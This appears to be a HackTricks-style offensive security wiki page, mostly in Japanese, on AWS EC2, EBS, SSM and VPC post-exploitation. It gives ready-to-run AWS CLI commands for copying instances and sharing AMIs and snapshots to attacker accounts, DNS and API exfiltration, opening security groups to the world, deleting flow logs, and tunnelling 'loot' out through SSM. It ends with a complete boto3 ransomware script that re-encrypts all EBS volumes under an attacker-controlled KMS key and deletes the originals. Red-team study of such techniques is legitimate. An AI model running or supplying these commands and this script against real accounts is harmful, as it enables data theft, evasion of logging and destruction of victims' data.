26 KiB
AWS - EC2, EBS, SSM & VPC Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
EC2 & VPC
For more information check:
{{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}}
Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule
VPC traffic mirroring は、インスタンス自体に何もインストールする必要なく、VPC 内の EC2 インスタンスの着信および発信トラフィックを複製します。
複製されたトラフィックは通常、分析や監視のために network intrusion detection system (IDS) のようなものに送られます。
攻撃者はこれを悪用して全てのトラフィックをキャプチャし、そこから機密情報を取得する可能性があります:
For more information check this page:
{{#ref}} aws-malicious-vpc-mirror.md {{#endref}}
Copy Running Instance
インスタンスには通常何らかの機密情報が含まれています。内部に入る方法はいくつかあります(詳細は EC2 privilege escalation tricks を参照)。しかし、含まれているものを確認する別の方法として、AMI を作成してそこから新しいインスタンスを起動する(自分のアカウント内でも可):
# List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS Snapshot dump
Snapshots are backups of volumes は通常 機密情報 を含むため、確認することでこれらの情報が明らかになります。
もし volume without a snapshot を見つけたら、Create a snapshot を作成して以下の操作を行うか、またはアカウント内のインスタンスにmount it in an instanceするだけでもよいです:
{{#ref}} aws-ebs-snapshot-dump.md {{#endref}}
Covert Disk Exfiltration via AMI Store-to-S3
EC2 AMI を CreateStoreImageTask を使って直接 S3 にエクスポートし、snapshot sharing を介さずに生のディスクイメージを取得します。これによりインスタンスのネットワーク設定を変更せずに、オフラインでの完全なフォレンジックやデータ窃取が可能になります。
{{#ref}} aws-ami-store-s3-exfiltration.md {{#endref}}
Live Data Theft via EBS Multi-Attach
io1/io2 の Multi-Attach ボリュームを別のインスタンスにアタッチし、読み取り専用でマウントしてスナップショットを取らずにライブデータを吸い上げます。被害者のボリュームが同じ AZ 内で既に Multi-Attach が有効になっている場合に有用です。
{{#ref}} aws-ebs-multi-attach-data-theft.md {{#endref}}
EC2 Instance Connect Endpoint Backdoor
EC2 Instance Connect Endpoint を作成し、ingress を許可して一時的な SSH キーを注入することで、managed tunnel 経由でプライベートインスタンスにアクセスできます。パブリックポートを開けずに迅速な横移動経路を確保します。
{{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md {{#endref}}
EC2 ENI Secondary Private IP Hijack
被害者の ENI のセカンダリ private IP を攻撃者が制御する ENI に移動し、IP で allowlisted された信頼済みホストを偽装します。特定アドレスに紐づく内部 ACL や SG ルールを回避できます。
{{#ref}} aws-eni-secondary-ip-hijack.md {{#endref}}
Elastic IP Hijack for Ingress/Egress Impersonation
被害者インスタンスから Elastic IP を攻撃者側に再関連付けすることで、着信トラフィックを傍受したり、信頼されたパブリック IP から来ているように見える発信接続を行えます。
{{#ref}} aws-eip-hijack-impersonation.md {{#endref}}
Security Group Backdoor via Managed Prefix Lists
Security Group のルールが customer-managed prefix list を参照している場合、攻撃者の CIDR をそのリストに追加するだけで、SG 本体を変更せずに依存するすべての SG ルールへのアクセスが静かに拡大します。
{{#ref}} aws-managed-prefix-list-backdoor.md {{#endref}}
VPC Endpoint Egress Bypass
gateway または interface の VPC endpoint を作成して、分離されたサブネットからのアウトバウンドアクセスを取り戻します。AWS-managed private links を利用することで、IGW/NAT が無い制御をバイパスしてデータ exfiltration を行えます。
{{#ref}} aws-vpc-endpoint-egress-bypass.md {{#endref}}
VPC Flow Logs Cross-Account Exfiltration
VPC Flow Logs を攻撃者が管理する S3 バケットに向けることで、被害者アカウントの外でネットワークメタデータ(送信元/宛先、ポート等)を継続的に収集し、長期的な偵察を行えます。
{{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md {{#endref}}
Data Exfiltration
DNS Exfiltration
たとえ EC2 を外部通信禁止にしても、exfil via DNS は可能です。
- VPC Flow Logs はこれを記録しません。
- AWS の DNS ログにはアクセスできません。
- これを無効化するには "enableDnsSupport" を false に設定します:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
Exfiltration via API calls
攻撃者は自分が制御するアカウントの API エンドポイントを呼び出すことができます。Cloudtrail はこれらの呼び出しをログに記録するため、攻撃者は Cloudtrail ログ内で流出したデータを確認できます。
Open Security Group
このようにポートを開くことでネットワークサービスへのさらなるアクセスを得られます:
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
Privesc to ECS
EC2インスタンスを実行して登録し、それを使ってECSインスタンスを実行させたあとに、ECSインスタンスのデータを盗むことが可能です。
詳細はこちらを確認。
VPC flow logs を削除
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
SSM Port Forwarding
Required permissions:
ssm:StartSession
In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs. One of the scenarios where this is useful is pivoting from a Bastion Host to a private EKS cluster.
セッションを開始するには SessionManagerPlugin がインストールされている必要があります: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
- お使いのマシンに SessionManagerPlugin をインストールする
- 次のコマンドを使って Bastion EC2 にログインする:
aws ssm start-session --target "$INSTANCE_ID"
- Bastion EC2 の AWS 一時認証情報を Abusing SSRF in AWS EC2 environment スクリプトで取得する
- 認証情報を自分のマシンの
$HOME/.aws/credentialsファイルに[bastion-ec2]プロファイルとして転送する - Bastion EC2 として EKS にログインする:
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
$HOME/.kube/configファイルのserverフィールドをhttps://localhostを指すように更新する- 以下のようにSSMトンネルを作成する:
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
kubectlツールからのトラフィックは Bastion EC2 経由で SSM トンネルを通して転送されるようになり、次のコマンドを実行することで自分のマシンから private EKS cluster にアクセスできます:
kubectl get pods --insecure-skip-tls-verify
注意:SSL 接続は --insecure-skip-tls-verify フラグ(または K8s audit tools の同等の設定)を指定しないと失敗します。トラフィックはセキュアな AWS SSM トンネルを経由しているため、MitM 攻撃の心配はありません。
最後に、この手法は private EKS clusters を攻撃することに特化したものではありません。任意のドメインやポートを設定して、他の AWS サービスやカスタムアプリケーションへピボットできます。
クイック ローカル ↔️ リモート ポート転送 (AWS-StartPortForwardingSession)
もし EC2 インスタンスからローカルホストへ 一つの TCP ポートだけを転送 したい場合は、AWS-StartPortForwardingSession SSM ドキュメントを使用できます(リモートホストパラメータは不要です):
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
このコマンドは、ワークステーション(localPortNumber)とインスタンス上の選択したポート(portNumber)の間に双方向トンネルを確立します(without opening any inbound Security-Group rules)。
よくあるユースケース:
- File exfiltration
- インスタンス上で、exfiltrateしたいディレクトリを指す簡易HTTPサーバーを起動します:
python3 -m http.server 8000
- ワークステーションからSSMトンネル経由でファイルを取得します:
curl http://localhost:8000/loot.txt -o loot.txt
- 内部のウェブアプリケーションへのアクセス(例: Nessus)
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
ヒント: 証拠は exfiltrating する前に Compress および encrypt しておき、CloudTrail が clear-text content を log しないようにする:
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
AMI を共有する
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
公開およびプライベートな AMIs 内の機密情報を検索する
- https://github.com/saw-your-packet/CloudShovel: CloudShovel は 公開またはプライベートな Amazon Machine Images (AMIs) 内の機密情報を検索する ために設計されたツールです。ターゲット AMIs からインスタンスを起動し、それらのボリュームをマウントして、潜在的なシークレットや機密データをスキャンするプロセスを自動化します。
EBS Snapshot を共有する
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
EBS Ransomware PoC
S3 post-exploitation notesで示したRansomwareデモに似たproof of conceptです。KMSは、様々なAWSサービスを簡単に暗号化するのに使えることからRMS(Ransomware Management Service)と呼び換えるべきでしょう。
まず、'attacker' AWSアカウントからKMSにcustomer managed keyを作成します。この例ではAWSにキーのデータを管理させますが、現実的にはmalicious actorがキー情報をAWSの管理外に保持するでしょう。キーのポリシーを変更して、任意のAWSアカウントPrincipalがキーを使用できるようにします。このキー・ポリシーでは、アカウント名は 'AttackSim' で、すべてのアクセスを許可するポリシールールは 'Outside Encryption' と呼ばれていました。
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
キー ポリシー ルールには、EBS ボリュームを暗号化するために使用できるように次が有効になっている必要があります:
kms:CreateGrantkms:Decryptkms:DescribeKeykms:GenerateDataKeyWithoutPlainTextkms:ReEncrypt
Now with the publicly accessible key to use. 'victim' アカウントを使用できます。そこには未暗号化の EBS ボリュームがアタッチされた EC2 インスタンスがいくつか起動しています。暗号化の対象はこの 'victim' アカウントの EBS ボリュームであり、この攻撃は高権限の AWS アカウントが侵害されたという想定の下で行われます。
S3 ransomware の例と同様に、この攻撃ではアタッチされている EBS ボリュームのコピーを snapshots を使って作成し、'attacker' アカウントから公開されているキーを使って新しい EBS ボリュームを暗号化し、元の EBS ボリュームを EC2 インスタンスからデタッチして削除し、最後に新しく暗号化された EBS ボリュームを作成するために使用した snapshots を削除します。
その結果、アカウント内には暗号化された EBS ボリュームのみが残ります。
また補足として、スクリプトは元の EBS ボリュームをデタッチして削除するために EC2 インスタンスを停止しました。元の未暗号化ボリュームはすでに消えています。
次に、'attacker' アカウントのキー ポリシーに戻り、キー ポリシーから 'Outside Encryption' ポリシー ルールを削除します。
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
新しく設定したキーのポリシーが伝搬するまで少し待ちます。次に 'victim' アカウントに戻り、新しく暗号化された EBS ボリュームのうちの一つをアタッチしてみてください。ボリュームをアタッチできることがわかります。
しかし、暗号化された EBS ボリュームを使って EC2 インスタンスを実際に再起動しようとすると、キーのポリシーがもはや許可していないため、アタッチされている EBS ボリュームをキーで復号できず、インスタンスは 'pending' 状態から 'stopped' 状態に戻り続けて失敗します。
これは使用した python スクリプトです。'victim' アカウントの AWS creds と、暗号化に使用するための公開されている AWS ARN 値を受け取ります。スクリプトは、対象の AWS アカウント内のすべての EC2 インスタンスにアタッチされている利用可能な ALL の EBS ボリュームの暗号化コピーを作成し、その後すべての EC2 インスタンスを停止して元の EBS ボリュームをデタッチして削除し、最終的にプロセス中に使用したすべてのスナップショットを削除します。これにより、対象の 'victim' アカウントには暗号化された EBS ボリュームのみが残ります。テスト環境でのみこのスクリプトを使用してください。破壊的であり、元のすべての EBS ボリュームを削除します。使用した KMS key を使ってスナップショットから元の状態に復元することは可能ですが、最終的にはこれは ransomware PoC であることを認識してください。
import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
参考資料
{{#include ../../../../banners/hacktricks-training.md}}